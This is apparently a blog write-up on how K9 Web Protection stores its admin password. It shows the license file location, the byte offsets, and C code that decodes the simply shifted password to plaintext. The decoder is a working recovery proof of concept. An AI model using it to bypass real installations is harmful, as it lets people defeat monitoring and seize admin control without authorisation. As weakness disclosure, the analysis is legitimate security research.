Password Algorithms: K9 Web Protection Admin

K9 Logo

Introduction

K9 Web Protection by Blue Coat software is a cheap but effective solution for parents monitoring internet activity of their children.
It’s also a cheap solution for internet cafes and companies to monitor customers and staff.

According to the vendors website, it’s installed on some 3 million computers and presumably most of those are using the freeware version for home use which is what I’ve downloaded.

Although there’s a commercial version, I’m not aware of any differences between the 2 with respect to the password algorithm.

Storage Method

Installed on XP, most files are kept in:

C:\Program Files\Blue Coat K9 Web Protection

The license file is always 944 bytes in size and also where the Admin password is stored.

Here’s the actual password “hash” and offset of where it appears.

000001d0: c4 b8 b5 b5 b7 b7 bd b1 - be 29 6b d6 eb 2c a9 00

The offset was discovered through analysing one of the binaries.

So how is this “hash” generated? :)

You can recover this password with simple subtraction. (at least in my own case) The example you see above is “theeggman” and will be revealed if you subtract 0x50 from each byte until you reach an invalid character.

The subtraction value may be different for you since I haven’t checked beyond my own XP install.
However, it’s possible to get the value from the license file from offset 0x2c

00000020: 75 a5 ce 51 00 00 00 00 - c3 e1 5a 78 50 00 00 00

Generation

Below is rough code for how a password is generated.

#define MAX_PASS_LEN 15

void encode(unsigned char k9_hash[], char password[]) {
    size_t pass_len = strlen(password);
    size_t i;

    for (i = 0;i < pass_len && i < MAX_PASS_LEN;i++) {
      k9_hash[i] = password[i] + license_data[44];
    }

    for (;i < MAX_PASS_LEN;i++) {
      k9_hash[i] = rand() % 256;
    }
    k9_hash[MAX_PASS_LEN] = 0;
}

Recovery

This uses hardcoded values from my own license file and successfully decodes to plaintext.

#include <stdio.h>
#include <ctype.h>

#define MAX_PASS_LEN 15

char* decode(char password[], unsigned char k9_hash[]) {
  char sym[] = "!@#$%^*(){}";
  size_t pass_len = 0;

  for (;pass_len < MAX_PASS_LEN;pass_len++) {
    int c = k9_hash[pass_len] - 0x50;
    if (!isalnum(c)) {
      if (!strchr(sym, c)) {
        break;
      }
    }
    password[pass_len] = c;
  }
  password[pass_len] = 0;
  return password;
}

unsigned char k9_admin_pass[] = { 0xc4, 0xb8, 0xb5, 0xb5,
                                  0xb7, 0xb7, 0xbd, 0xb1,
                                  0xbe, 0x29, 0x6b, 0xd6,
                                  0xeb, 0x2c, 0xa9, 0x00 };

void main(void) {
  char password[MAX_PASS_LEN+1];

  memset(password, 0, sizeof(password));
  printf("\nPassword = %s\n", decode(password, k9_admin_pass));
}

Conclusion

In order to take advantage of the weak hashing algorithm, you need at least read access to the license file and after checking permissions, it’s only available to the owner, SYSTEM and other local administrators.

It doesn’t provide much protection for the password but controlling admin access at OS level negates this.